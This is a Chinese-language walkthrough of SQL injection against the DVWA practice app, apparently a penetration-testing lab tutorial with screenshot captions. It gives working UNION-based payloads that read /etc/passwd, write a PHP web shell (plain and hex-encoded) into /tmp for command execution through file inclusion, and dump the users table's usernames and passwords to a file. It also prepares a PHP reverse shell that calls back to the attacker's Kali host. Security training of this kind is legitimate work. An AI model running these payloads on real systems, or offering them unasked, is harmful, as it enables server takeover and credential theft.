1、读取文件
' union select null, load_file('/etc/passwd')--+
burpsuite修改id参数提交
loadfile读取文件结果
2、写入文件
mysql的默认家目录的属主属组都是mysql,想要写入的a.php放在/var/www/目录下(为方便http访问时执行命令),但/var/www/目录下的属主、属组为www-data,mysql用户没有权限写入,因此下面的命令会执行不成功。
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+
写入文件失败
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php" --+ //默认会放到/va/lib/mysql/dvwa/目录下
不选择写入路径执行
a.php放置路径
但是结合上一章节的文件包含漏洞,由于/tmp目录是一个特殊的目录,所有人具有rwx权限,是不是能利用上述的写入文件到/tmp目录下,然后结合之前的文件包含在include进来,达到想要的效果呢?
将文件写入到/tmp/aa.php
' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/tmp/aa.php"--+
aa.php写入/tmp/下
使用file include利用aa.php执行命令 文件包含漏洞利用
3、使用反弹shell执行sql注入
复制反弹shell脚本
#/usr/share/webshells/php# cp php-reverse-shell.php /root/b.php //复制反弹脚本到/root目录下
修改脚本反弹IP,为kali本机IP
编码十六进制转换此反弹shell
cat b.php | xxd -ps | tr -d '\n' //xxd为十六进制转换,使用tr删除转换后的换行,所有为一行输出
显示超出了服务的范围
换一个方法,尝试将上面的一句话木马转换为16进制然后执行
将<?php passthru($_GET['cmd']); ?>
写入c.php中,并转换十六进制:
执行sql注入,并将十六进制数据写入/tmp/cc.php
' union select null,(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e0a) INTO DUMPFILE "/tmp/cc.php" --+
查看/tmp/cc.php,已经是服务端转换后的代码了:
查看cc.php 执行结果
4、保存下载数据库
将用户名、密码表保存在职至/tmp/aa.db中
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/aa.db'--
然后通过file include访问/tmp/aa.db文件
用户名和密码
网友评论